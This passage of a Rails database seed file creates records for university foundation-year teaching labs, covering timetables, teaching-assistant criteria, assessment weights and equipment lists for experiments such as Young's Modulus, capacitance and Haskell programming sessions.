a535.id).first_or_create!(cost_per_student: nil, equip_needed: \"PUPs, material\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a535.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a536 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode15\").first_or_create!(name: \"Data Visualisation\",\n name_abrv: \"DATAVIS\", archived: false, in_drive: false, user_id: 2)\n at536 = ActivityTimetable.where(activity_id: a536.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 2, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 120, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a536.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a536.id).first_or_create!(criteria: \"experience of Excel\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a536.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a536.id).first_or_create!(cost_per_student: nil, equip_needed: \"n/a\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a536.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a537 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode16\").first_or_create!(name: \"Matlab Visualisation\",\n name_abrv: \"MATVIS\", archived: false, in_drive: false, user_id: 2)\n at537 = ActivityTimetable.where(activity_id: a537.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 3, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 120, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a537.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a537.id).first_or_create!(criteria: \"experience of Matlab Graphing\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a537.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a537.id).first_or_create!(cost_per_student: nil, equip_needed: \"n/a\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a537.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a538 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode17\").first_or_create!(name: \"Youngs Modulus\",\n name_abrv: \"FY-YM\", archived: false, in_drive: false, user_id: 2)\n at538 = ActivityTimetable.where(activity_id: a538.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a538.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a538.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a538.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a538.id).first_or_create!(cost_per_student: nil, equip_needed: \"Schimadzu + samples, micrometers, rules\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a538.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a539 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode18\").first_or_create!(name: \"Balancing Forces\",\n name_abrv: \"FY-BALFORCE\", archived: false, in_drive: false, user_id: 5)\n at539 = ActivityTimetable.where(activity_id: a539.id).first_or_create!(duration: 75, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a539.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a539.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 2, staff_ratio: nil)\n ActivityAssess.where(activity_id: a539.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a539.id).first_or_create!(cost_per_student: nil, equip_needed: \"Gunt frames, chains, spring gauges, 2kg mass, 1m rule\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a539.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a540 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode19\").first_or_create!(name: \"EMF & Ohms\",\n name_abrv: \"EMF & OHM\", archived: false, in_drive: false, user_id: 4)\n at540 = ActivityTimetable.where(activity_id: a540.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 9, max_week_num: 10, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 120, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a540.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a540.id).first_or_create!(criteria: \"Must have A level Physics or equivalent\n Must be familiar with basic electronics workbench equipment (multimeter, power supply etc.)\",\n job_desc:\"Help students measure current and voltage for a simple DC circuit\n Help students to use power supplies and multimeters and record measurements\n Troubleshoot student circuit construction on breadboards\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 4, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a540.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a540.id).first_or_create!(cost_per_student: nil, equip_needed: \"AA battery, resistors, DVM\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a540.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a541 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode20\").first_or_create!(name: \"Resistivity\",\n name_abrv: \"RESIST\", archived: false, in_drive: false, user_id: 2)\n at541 = ActivityTimetable.where(activity_id: a541.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 9, max_week_num: 10, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 120, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a541.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a541.id).first_or_create!(criteria: \"Must have A level Physics or equivalent\n Must be familiar with basic electronics workbench equipment (multimeter, power supply etc.)\",\n job_desc:\"Help students measure the resistivity of two different types of wire (constantan and nichrome)\n Troubleshoot student circuit construction and help record measurements\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a541.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a541.id).first_or_create!(cost_per_student: nil, equip_needed: \"PSU, wound wire boards, DVM, rule, micrometers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a541.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a542 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode21\").first_or_create!(name: \"Capacitance\",\n name_abrv: \"CAPS\", archived: false, in_drive: false, user_id: 5)\n at542 = ActivityTimetable.where(activity_id: a542.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 11, max_week_num: 11, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 120, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a542.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a542.id).first_or_create!(criteria: \"Must have A level Physics or equivalent\n Must be familiar with basic electronics workbench equipment (multimeter, power supply etc.)\",\n job_desc:\"Help students measure the discharge characteristics of a capacitor\n Troubleshoot student circuit construction and advise on data colleciton and recording\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 4, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a542.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a542.id).first_or_create!(cost_per_student: nil, equip_needed: \"PSU, capacitor, breadboard, jump wires, DVM, stop watch\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a542.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a543 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode22\").first_or_create!(name: \"Transformers\",\n name_abrv: \"TRANS_FY\", archived: false, in_drive: false, user_id: 2)\n at543 = ActivityTimetable.where(activity_id: a543.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 12, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a543.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a543.id).first_or_create!(criteria: \"Must have A level Physics or equivalent\n Must be familiar with basic electronics workbench equipment (multimeter, power supply etc.)\",\n job_desc:\"Help students verify the turns ratio of a transformer through experimental measurement\n Assist students setting up simple transformer circuits and making voltage measurements\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 4, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a543.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a543.id).first_or_create!(cost_per_student: nil, equip_needed: \"DVM, MSO, Sig Gen, Transformer boards, cables\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a543.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a544 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode23\").first_or_create!(name: \"Hookes Law\",\n name_abrv: \"FY-HOOKE\", archived: false, in_drive: false, user_id: 1)\n at544 = ActivityTimetable.where(activity_id: a544.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 1, max_week_num: 1, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at544.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a544.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a544.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 2, staff_ratio: nil)\n ActivityAssess.where(activity_id: a544.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a544.id).first_or_create!(cost_per_student: nil, equip_needed: \"Retort stands, springs, 1N mass, vernier calipers, weighing scales\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a544.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a545 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode24\").first_or_create!(name: \"Specific Heat Capacity\",\n name_abrv: \"FY-SHC\", archived: false, in_drive: false, user_id: 2)\n at545 = ActivityTimetable.where(activity_id: a545.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 2, max_week_num: 3, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at545.id, room_id: $room_ml.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a545.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a545.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 2, staff_ratio: nil)\n ActivityAssess.where(activity_id: a545.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a545.id).first_or_create!(cost_per_student: nil, equip_needed: \"metal blocks, beakers, water baths, vernier calipers, thermometers, stop watch, water jugs\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a545.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a546 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode25\").first_or_create!(name: \"Charles Law\",\n name_abrv: \"FY-CHARLES\", archived: false, in_drive: false, user_id: 3)\n at546 = ActivityTimetable.where(activity_id: a546.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 2, max_week_num: 3, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at546.id, room_id: $room_ml.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a546.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a546.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a546.id).first_or_create!(assess_weight: 3.0, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a546.id).first_or_create!(cost_per_student: nil, equip_needed: \"Gas theremometers, boiling tubes, retort, theremocouple, water baths\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a546.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a547 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode26\").first_or_create!(name: \"Functional Programming\",\n name_abrv: \"FPROG\", archived: false, in_drive: false, user_id: 4)\n at547 = ActivityTimetable.where(activity_id: a547.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 4, max_week_num: 4, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a547.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a547.id).first_or_create!(criteria: \"Must know Haskell\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a547.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a547.id).first_or_create!(cost_per_student: nil, equip_needed: \"IT\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a547.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a548 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode27\").first_or_create!(name: \"Boolean\",\n name_abrv: \"BOOL\", archived: false, in_drive: false, user_id: 4)\n at548 = ActivityTimetable.where(activity_id: a548.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 5, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a548.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a548.id).first_or_create!(criteria: \"Must know Haskell\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a548.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a548.id).first_or_create!(cost_per_student: nil, equip_needed: \"IT\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a548.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a549 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode28\").first_or_create!(name: \"Complexity\",\n name_abrv: \"COMPLEX\", archived: false, in_drive: false, user_id: 1)\n at549 = ActivityTimetable.where(activity_id: a549.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a549.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a549.id).first_or_create!(criteria: \"Must know Haskell\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a549.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a549.id).first_or_create!(cost_per_student: nil, equip_needed: \"IT\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a549.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a550 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode29\").first_or_create!(name: \"Refraction\",\n name_abrv: \"REFRACT\", archived: false, in_drive: false, user_id: 2)\n at550 = ActivityTimetable.where(activity_id: a550.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 7, max_week_num: 9, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at550.id, room_id: $room_sd.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a550.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a550.id).first_or_create!(criteria: \"Must have A level Physics or equivalent\n Must be familiar with basic electronics workbench equipment (multimeter, power supply etc.)\",\n job_desc:\"Help students measure the refractive index of a material using diffraction\n Assist students with calculations considering wavelengths of diffracted light\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 2, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a550.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a550.id).first_or_create!(cost_per_student: nil, equip_needed: \"Refraction kit (stores)\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a550.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a551 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode30\").first_or_create!(name: \"Photo Voltaic Cells\",\n name_abrv: \"PVCELLS\", archived: false, in_drive: false, user_id: 2)\n at551 = ActivityTimetable.where(activity_id: a551.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 7, max_week_num: 9, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a551.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a551.id).first_or_create!(criteria: \"Must have A level Physics or equivalent\n Must be familiar with basic electronics workbench equipment (multimeter, power supply etc.)\",\n job_desc:\"Help students to measure the current and voltage produced by a photo-voltaic cell\n Troubleshoot students' circuit construction\n Remind students how to perform calculations of electrical power and how to determine the maximum power operating point of the cell\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 4, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a551.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a551.id).first_or_create!(cost_per_student: nil, equip_needed: \"PV cells, DVM, lamp, PSU\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a551.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a552 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode31\").first_or_create!(name: \"Matlab\",\n name_abrv: \"MATLAB\", archived: false, in_drive: false, user_id: 1)\n at552 = ActivityTimetable.where(activity_id: a552.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 10, max_week_num: 11, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 100, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a552.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a552.id).first_or_create!(criteria: \"Experience of Matlab Programming\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a552.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a552.id).first_or_create!(cost_per_student: nil, equip_needed: \"IT\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a552.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a553 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode32\").first_or_create!(name: \"Galileo\",\n name_abrv: \"GALILEO\", archived: true, in_drive: false, user_id: 4)\n at553 = ActivityTimetable.where(activity_id: a553.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 6, max_week_num: 7, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at553.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a553.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a553.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 2, staff_ratio: nil)\n ActivityAssess.where(activity_id: a553.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a553.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a553.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a554 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode33\").first_or_create!(name: \"LED Lab (blue)\",\n name_abrv: \"BLUELED\", archived: false, in_drive: false, user_id: 1)\n at554 = ActivityTimetable.where(activity_id: a554.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 15, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a554.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a554.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a554.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a554.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n 